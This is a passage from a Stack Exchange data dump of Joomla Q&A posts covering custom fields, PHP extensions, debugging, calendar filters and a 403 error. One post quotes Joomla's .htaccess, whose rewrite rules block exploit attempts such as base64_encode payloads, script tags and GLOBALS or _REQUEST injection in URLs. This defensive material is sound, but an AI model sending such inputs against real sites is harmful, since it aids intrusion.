I'm not sure how: &lt;code&gt;&amp;lt;?php include &quot;name_of_script.php&quot;;?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help&lt;/p&gt;&#xA;" OwnerUserId="10971" LastActivityDate="2017-05-20T19:55:10.393" Title="Where can I implement a php code in joomla?" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20604" PostTypeId="2" ParentId="20585" CreationDate="2017-04-19T21:09:46.537" Score="8" Body="&lt;p&gt;The key here (which I misunderstood/overlooked) is that for the &lt;code&gt;FieldsHelper::getFields&lt;/code&gt; method, to also return the &lt;code&gt;value&lt;/code&gt; &amp;amp; &lt;code&gt;rawvalue&lt;/code&gt; of the custom fields, the &lt;code&gt;$item&lt;/code&gt; has to be a content item object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was only passing the id of the category, instead of an object of that category, that's why I didn't get the field's value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for clarity, I post here the declaration of the method and its parameters, as defined in the &lt;code&gt;FieldsHelper&lt;/code&gt; class.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getFields($context, $item = null, $prepareValue = false, array $valuesToOverride = null)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So for my case (when in article view), in order to get the custom fields and their values of the article's category, I have to pass the category ($item) as a category object, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;$jcategories = JCategories::getInstance('Content');&#xA;$category   = $jcategories-&amp;gt;get($article-&amp;gt;catid);&#xA;$currentCatFields = FieldsHelper::getFields('com_content.categories', $category, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As an alternative route, if we know the custom fields ids for which we want to get their their values, we can use the com_fields model like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = JModelLegacy::getInstance('Field', 'FieldsModel', array('ignore_request' =&amp;gt; true));&#xA;&#xA;//$categoryFieldsIds = array();&#xA;$currentCatFields = $model-&amp;gt;getFieldValues($categoryFieldsIds, $currentCatID);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-06-25T09:56:39.277" LastActivityDate="2017-06-25T09:56:39.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20605" PostTypeId="2" ParentId="20601" CreationDate="2017-04-20T14:11:25.060" Score="2" Body="&lt;p&gt;There are 3 extensions that allow you to add PHP in Joomla: Jumi, Sourcerer, and DirectPHP. Most people prefer Sourcerer since it's easy, solid, and straightforward to use. Direct PHP is a favorite among beginners because it's the easiest. Jumi is a bit more complex than the other 2 (not sure if that has changed lately).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-04-20T14:11:25.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20606" PostTypeId="2" ParentId="20581" CreationDate="2017-04-20T14:19:43.787" Score="1" Body="&lt;p&gt;This problem is likely caused by a security plugin that was installed on your Joomla website - in most cases it is Admin Tools, in some cases, it is a different plugin such as JSecure. We have explained how to fix the problem in the case of JSecure &lt;a href=&quot;http://www.itoctopus.com/admin-page-in-joomla-redirects-to-homepage&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you already stated that you don't have JSecure installed, then I would say this is caused by Admin Tools - either disable the Admin Tools plugins from phpMyAdmin, or rename all the Admin Tools folders in your filesystem to &lt;em&gt;_old&lt;/em&gt; (just append &lt;em&gt;_old&lt;/em&gt; to the folder name).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-04-20T14:19:43.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20607" PostTypeId="1" AcceptedAnswerId="20609" CreationDate="2017-04-20T16:38:41.780" Score="4" ViewCount="874" Body="&lt;p&gt;I don't really use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Contacts&lt;/li&gt;&#xA;&lt;li&gt;Banners&lt;/li&gt;&#xA;&lt;li&gt;Search&lt;/li&gt;&#xA;&lt;li&gt;Newsfeeds&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So my question is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Are they safe to disable?  &lt;/li&gt;&#xA;&lt;li&gt;Are they safe to uninstall?  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'd like to make my installation as lightweight as possible.  I also don't use tags and messaging but they have a padlock, so I assume anything without the padlock is safe to uninstall?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="126" LastEditDate="2017-04-20T17:50:39.913" LastActivityDate="2017-04-21T06:59:22.207" Title="Can I safely disable the core components I don't use" Tags="|joomla-3.6|administration|best-practices|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20608" PostTypeId="2" ParentId="20607" CreationDate="2017-04-20T17:21:40.670" Score="2" Body="&lt;p&gt;Locked ones are required for Joomla to work, so you shouldn't unpublish or uninstall them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The others may be required for some third party extensions to work (as they are part of core Joomla, the assumption that they exist may be made by some developers.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uninstalled some of these in the past without problem, but now tend to use ACL instead - day-to-day work is done with a cut-down administrator account and only the super user gets to see all the additional components (unused third party ones are a different matter - these should always be uninstalled). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tend to subscribe to the never touch core code school, even though in this case Joomla do let you remove them so one would hope they take this into consideration when releasing patches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unpublishing should be fine - the worst that could happen is you need to re-publish.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-04-20T17:21:40.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20609" PostTypeId="2" ParentId="20607" CreationDate="2017-04-20T17:30:13.993" Score="4" Body="&lt;p&gt;I always disable any of the core components that I won't use and this is a safe approach. I wouldn't recommend to uninstall at this phase until Joomla removes them from the core as it happened with &lt;strong&gt;WebLinks&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a component being part of the core means that they will be back with the next Joomla update - plus if they are not present, there is some possibility for   future issues mostly when updating with database/updating/installation/ inconsistencies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The padlock means the extension is protected - so you can't uninstall or disable it because it is somewhat required at some level. The unprotected ones can be uninstalled - but as suggested above it's safer to simply disable them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If with Lightweight you mean to have a minimal admin menu for your admins, then ACL and custom admin menus is the way to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a couple of extra tips I usually do (if the following features aren't needed):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Disable versions (both the versions component and the setting in articles -com_content).&lt;/li&gt;&#xA;&lt;li&gt;Disable Search and Finder and their plugins&lt;/li&gt;&#xA;&lt;li&gt;Disable modules&lt;/li&gt;&#xA;&lt;li&gt;Disable redirect plugin&lt;/li&gt;&#xA;&lt;li&gt;Disable other content and system plugins&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;&#xA;Brief explanations on why I disable the above. First this is not done with speed optimization in mind. It is mostly that I prefer to see and have enabled only what I need/use. It gives me a sense of a lighter site, plus it looks friendlier for my admin users. Whenever I need to enable something, it's easy to do it on purpose.&lt;br&gt;&#xA;&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;&#xA;Versions : If left enabled and never meant to keep history of articles changes, I may end up with a huge versions database table. It's easy to truncate it, but in terms of keep things light and efficient I would prefer to not store data that I won't use. Same with redirect plugin, which can easily fill up the database with all sort of 404 urls. Regarding Search plugins, I disable them all if I dont use search, or allow only the ones that I really want to search for (which in most times is content). I don't like when in search results pages it gives me options to choose among categories, tags, contacts etc. Finder, although it needs manually to start making the indexes, if I don't use the smart search I also disable all of its plugins. I also like to disable admin and site modules that I don;t or don't plan to use. This also gives me a shorter list of modules to select when I want to create a new module. Other plugins, I am going one by one in the plugins list and disable any non-needed/used. In some cases (but I haven't tested) this could have small performance benefits.&#xA;&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-04-21T06:59:22.207" LastActivityDate="2017-04-21T06:59:22.207" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="20613" PostTypeId="2" ParentId="14527" CreationDate="2017-04-20T21:55:17.777" Score="1" Body="&lt;p&gt;From my point of view and my experience you should create JTable class that will be responsible for storing and pulling data to/form DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is basically what and where, and not how. So referring to your question and answer how to display and how to store:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To display:&lt;/strong&gt; Just use query that will gather all additional data to item property, for example to &lt;code&gt;$item-&amp;gt;subset&lt;/code&gt; which will be array or stdObject (that's up to you to decide) and &lt;code&gt;$item&lt;/code&gt; itself will contain primary table data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To store:&lt;/strong&gt; Use same approach: form should contain fields with names like &lt;code&gt;jform[subset][field1]&lt;/code&gt; so at JTable you'll get whole subset like &lt;code&gt;$form = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('jform',array(),'ARRAY'); $subset = $form['subset']&lt;/code&gt; and will save it to any table you want.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-04-20T21:55:17.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20614" PostTypeId="1" AcceptedAnswerId="20617" CreationDate="2017-04-21T09:29:09.613" Score="1" ViewCount="859" Body="&lt;p&gt;I am getting an error like this in the backend running my own extension:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Call to a member function setQuery() on null&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And because I am not clairvoyant I do need some more info about where the error happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I somehow disable Joomla's own way of displaying errors and getting the real PHP error shown where I can see in what file and line the error happened?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only need the full and real error reporting in the backend and not in the frontend of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have inserted this in my extension:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_reporting(E_ALL);&#xA;ini_set('display_errors', TRUE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it does gives PHP errors in some cases but in this case it is hard to know what line is make the error because of Joomla all too simple layouted error reporting. I better like a non-layouted page with a usable error reference :-)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2017-04-21T09:46:29.290" LastActivityDate="2017-04-21T10:34:36.750" Title="Backend: Disable Joomla's own way of displaying an error and getting the real PHP error shown?" Tags="|php|error-reporting|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20617" PostTypeId="2" ParentId="20614" CreationDate="2017-04-21T10:18:31.330" Score="1" Body="&lt;p&gt;Try looking at your server's PHP error log files - they should be reporting the full error message, or can be configured to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla, you can get addtional info by going to &lt;code&gt;system - global configuration - system&lt;/code&gt; and turning on &lt;code&gt;Debug System&lt;/code&gt; (the Call Stack should then point you towards the problem module/component), and also set &lt;code&gt;server - error reporting&lt;/code&gt; to &lt;code&gt;Development&lt;/code&gt;.  Depending on the type of error, this will usually point you to the right line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One further thing that should work - go to &lt;code&gt;/templates/system/error.php&lt;/code&gt; (frontend) or &lt;code&gt;administrator/templates/system/error.php&lt;/code&gt; (backend) and add the line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php print_r($this-&amp;gt;error);?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should dump out all the info the error message page has.  If the template you are using has an &lt;code&gt;error.php&lt;/code&gt; file, then you'll need to add it there instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Undo this after you have finished, though.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2017-04-21T10:34:36.750" LastActivityDate="2017-04-21T10:34:36.750" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20618" PostTypeId="2" ParentId="10327" CreationDate="2017-04-21T13:35:29.700" Score="0" Body="&lt;p&gt;login to control panel back-end.go to Extensions-&gt;module-&gt;main-menu-&gt; Show Sub-menu Items. by default its off you just on and save&lt;/p&gt;&#xA;" OwnerUserId="10981" LastActivityDate="2017-04-21T13:35:29.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20619" PostTypeId="1" AcceptedAnswerId="20628" CreationDate="2017-04-21T15:26:23.800" Score="0" ViewCount="587" Body="&lt;p&gt;I used &lt;a href=&quot;https://www.component-creator.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;component-creator.com&lt;/a&gt; to build a component. The component has a table with a date field and a frontend view which shows the contents of the table with a filter which can show the items between two dates. Here is a view from the backend:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8NfR1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8NfR1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's great, but I only wanted to filter the db result by a single date, so I modified my &lt;em&gt;site/models/sessions.php&lt;/em&gt; to include this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $filter_date_from = $this-&amp;gt;state-&amp;gt;get(&quot;filter.date_from_dateformat&quot;);&#xA;    $filter_Qdate_from = (!empty($filter_date_from)) ? $this-&amp;gt;isValidDate($filter_date_from) : null;&#xA;&#xA;    if ($filter_Qdate_from != null)&#xA;    {&#xA;        $query-&amp;gt;where(&quot;a.date = '&quot; . $db-&amp;gt;escape($filter_Qdate_from) . &quot;'&quot;);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then modified my &lt;em&gt;site/models/forms/filter_sessions.xml&lt;/em&gt; to include only this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;date_from_dateformat&quot; label=&quot;COM_MERAKIAC_LIST_LBL_SESSION_DATE_FILTER_FROM&quot; type=&quot;calendar&quot; onchange=&quot;this.form.submit();&quot; filter=&quot;safehtml&quot; class=&quot;inputbox&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which, when I rebuild the component, allows me to filter my db by providing a single date:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/l3Yxg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l3Yxg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is where I am stuck. I want to change the behavior of the calendar as such:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I want the calendar to always appear on the page (inline), not at a popup triggered by a button, and certainly not hidden within any collapsible &quot;search tools&quot; menu.&lt;/li&gt;&#xA;&lt;li&gt;I would rather not see a text field at all--limiting the user to enter a date only by selecting it on the calendar.&lt;/li&gt;&#xA;&lt;li&gt;I want the user to be able to click on a single date on the calendar and see the db entries associated with that date.&lt;/li&gt;&#xA;&lt;li&gt;I want to control the CSS properties of the calendar for purposes of responsive web design.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 1: Am I correct in understanding I would have to hack .js and .css files built into Joomla itself to make these changes to the calendar? If so, my plugin could not be distributed to others unless they hack those files as well?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I couldn't find out how to control the standard calendar form field, I tried to hack the original calendar code from &lt;a href=&quot;http://www.dynarch.com/jscal&quot; rel=&quot;nofollow noreferrer&quot;&gt;dynarch.com&lt;/a&gt; into my &lt;em&gt;site/views/sessions/tmpl/default.php&lt;/em&gt; file with something like this (and a million variations):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;Calendar.setup({&#xA;    cont: &quot;sample1&quot;,&#xA;    inputField: &quot;filter_date_from_dateformat&quot;&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;sample1&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; title=&quot;&quot; name=&quot;filter[date_from_dateformat]&quot; id=&quot;filter_date_from_dateformat&quot; value=&quot;&quot; maxlength=&quot;45&quot; class=&quot;inputbox hasTooltip&quot; onchange=&quot;this.form.submit();&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But no matter what I try I can't seem to pass the date selected by the user on the calendar directly to my &lt;em&gt;filter_sessions.xml&lt;/em&gt; file. So&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 2: How can I collect a date from a visual calendar and pass it to my model to apply to the SQL query? Is there a way to do this with the dynarch calendar? Or am I stuck using the standard calendar form field?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight is appreciated. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="10936" LastActivityDate="2017-04-23T16:23:21.460" Title="filter db by a single date - how to hack the standard calendar form field" Tags="|component|mysql|jquery|front-end|content-filtering|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20622" PostTypeId="2" ParentId="17878" CreationDate="2017-04-22T07:47:41.870" Score="1" Body="&lt;p&gt;I solved the problem. It was because of one of my modules in the admin page. I went to the database and I disabled the admin panel modules one by one. And after all I figured out what was the problem. Thank you everyone for caring!&lt;/p&gt;&#xA;" OwnerUserId="7918" LastActivityDate="2017-04-22T07:47:41.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20623" PostTypeId="1" AcceptedAnswerId="20635" CreationDate="2017-04-22T10:57:39.677" Score="0" ViewCount="112" Body="&lt;p&gt;I have created a copy of a joomla website under the same domain. I then edited the new website to be something different from the first. Every website is under it's own folder:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;www.mydomain.com/website1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;www.mydomain.com/website2&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The issue that i am having is that i cannot be logged in to both sites, if i try to login on the second one i get kicked from the first and vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what i should change?&lt;/p&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2017-04-24T16:29:43.863" Title="Copy of Joomla under same domain - Login Issue" Tags="|joomla-3.6|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20624" PostTypeId="1" CreationDate="2017-04-22T11:49:32.447" Score="1" ViewCount="191" Body="&lt;p&gt;I want to render/execute some javascript code written inside virtuemart&#xA;JDispatcher  eg: plgVmConfirmedOrder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$script='console.log(&quot;this is dummy script&quot;);jQuery.ajax({url:'',type:'post',success:function(){console.log(&quot;task has been done&quot;)}})';&#xA;&#xA;function plgVmConfirmedOrder(VirtuemartCart $cart,$order){&#xA;      $document=JFactory::getDocument();&#xA;      $document-&amp;gt;addScriptDeclaartion($script);// this is not working&#xA;      How to do?&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10984" LastActivityDate="2017-07-22T21:41:53.287" Title="render/execute jasvscript code (which is in a php string) inside virtuemart JDispatcher eg: plgVmConfirmedOrder" Tags="|joomla-3.x|javascript|jquery|virtuemart|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20625" PostTypeId="2" ParentId="19406" CreationDate="2017-04-22T12:32:58.460" Score="1" Body="&lt;p&gt;You should not worry about admin 404 page. None of the front-end users should have access to that section. But if you really want to check it first of all upload a fresh system files to make sure that none of them are broken. Make sure system is up-to-date. If nothing changes that means that one of the extensions you have installed is breaking default system flow (i.e. doesn't let the system to handle the request). If you want to check default admin error page look at &lt;code&gt;/templates/isis/error.php&lt;/code&gt; (if you use default admin template).&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2017-04-22T12:32:58.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20626" PostTypeId="1" CreationDate="2017-04-22T13:04:10.330" Score="1" ViewCount="5344" Body="&lt;p&gt;I have received a zip file from someone which contain all the data for a Joomla site. And he asked me to do some CSS configurations to change the look of homepage. I unzipped the zip file an found a .sql file, a Joomla site folder and a .jpa backup file. I pasted that folder in xampp's htdocs folder and named it as &lt;code&gt;tp&lt;/code&gt; and then imported the sql file in newly created database and and made changes in configuration file for database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I type &lt;code&gt;localhost/tp&lt;/code&gt; the site runs successfully, but when I type &lt;code&gt;localhost/tp/administrator&lt;/code&gt; it gives me &lt;code&gt;403 forbidden access error&lt;/code&gt;. The short note is that it's my first experience with Joomla and I don't know how I can fix this. As mostly 403 error comes due to error in .htdocs file that's why I am giving the the code at the end of this question. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# @package      Joomla&#xA;# @copyright    Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved.&#xA;# @license      GNU General Public License version 2 or later; see LICENSE.txt&#xA;# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!&#xA;# The line just below this section: 'Options +FollowSymLinks' may cause problems&#xA;# with some server configurations.  It is required for use of mod_rewrite, but may already&#xA;# be set by your server administrator in a way that dissallows changing it in&#xA;# your .htaccess file.  If using it causes your server to error out, comment it out (add # to&#xA;# beginning of line), reload your site in your browser and test your sef url's.  If they work,&#xA;# it has been set by your server administrator and you do not need it set here.&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymLinks&#xA;## Mod_rewrite in use.&#xA;RewriteEngine On&#xA;# Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site block out the operations listed below&#xA;# This attempts to block the most common type of exploit attempts to Joomla!&#xA;#&#xA;# Block out any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block out any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block out any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block out any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root homepage&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;## End - Custom redirects&#xA;##&#xA;# Uncomment following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;# RewriteBase /&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the request is for something within the component folder,&#xA;# or for the site root, or for an extensionless URL, or the&#xA;# requested URL ends with one of the listed extensions&#xA;RewriteCond %{REQUEST_URI} /component/|(/[^.]*|\.(php|html?|feed|pdf|vcf|raw))$ [NC]&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;Action php /cgi-php53/php&#xA;AddHandler php53 .php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10985" LastEditorDisplayName="user3831" LastEditDate="2017-04-24T03:06:46.687" LastActivityDate="2018-05-20T12:46:43.807" Title="Unable to access /administrator in Joomla on localhost, error 403 forbidden access" Tags="|joomla-3.x|joomla-2.5|joomla-3.4|joomla-3.3.x|joomla-3.5|" AnswerCount="3" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20627" PostTypeId="2" ParentId="20624" CreationDate="2017-04-22T23:38:35.430" Score="1" Body="&lt;p&gt;You need to escape your javascript properly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$script='console.log(&quot;this is dummy script&quot;);jQuery.ajax({url:\'\',type:\'post\',success:function(){console.log(&quot;task has been done&quot;)}})';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, you misspelt declaration&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document-&amp;gt;addScriptDeclaartion($script);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I presume you have your vm plugin installed and switched on and working.  If you're not sure if your event is firing then change your code to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function plgVmConfirmedOrder(VirtuemartCart $cart,$order){&#xA;    echo &quot;confirm order event fired&quot;;&#xA;    die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work then your problem is different from dealing with js.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-04-22T23:38:35.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20628" PostTypeId="2" ParentId="20619" CreationDate="2017-04-23T16:23:21.460" Score="1" Body="&lt;p&gt;My question may not have been as clear as it could have been. Upon further research, the questions I was ultimately asking were:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How to add a custom filter to the list view (I found a great resource &lt;a href=&quot;https://docs.joomla.org/J2.5:How_to_add_custom_filters_to_components&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How to adapt the &lt;a href=&quot;http://www.dynarch.com/jscal&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dynarch calendar&lt;/a&gt; for use as a custom filter when the built-in Joomla search tools were just not cut out for the job.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I finally got this working, though it may be somewhat of a hack. I was only concerned with adding this filter to the frontend, so I had to modify four files as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added the following code to &lt;em&gt;site/models/sessions.php&lt;/em&gt; within the getListQuery() section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Filtering date&#xA;    // Checking &quot;_dateformat&quot;&#xA;    $filter_date_from = $this-&amp;gt;state-&amp;gt;get(&quot;filter.date_from_dateformat&quot;);&#xA;    $filter_Qdate_from = (!empty($filter_date_from)) ? $this-&amp;gt;isValidDate($filter_date_from) : null;&#xA;&#xA;    if ($filter_Qdate_from != null)&#xA;    {&#xA;        $query-&amp;gt;where(&quot;a.date = '&quot; . $db-&amp;gt;escape($filter_Qdate_from) . &quot;'&quot;);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I created a new file &lt;em&gt;site/models/forms/filter_sessions.xml&lt;/em&gt; with the following contents:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&quot;filter&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;date_from_dateformat&quot; label=&quot;COM_MERAKIAC_LIST_LBL_SESSION_DATE_FILTER_FROM&quot; type=&quot;text&quot; 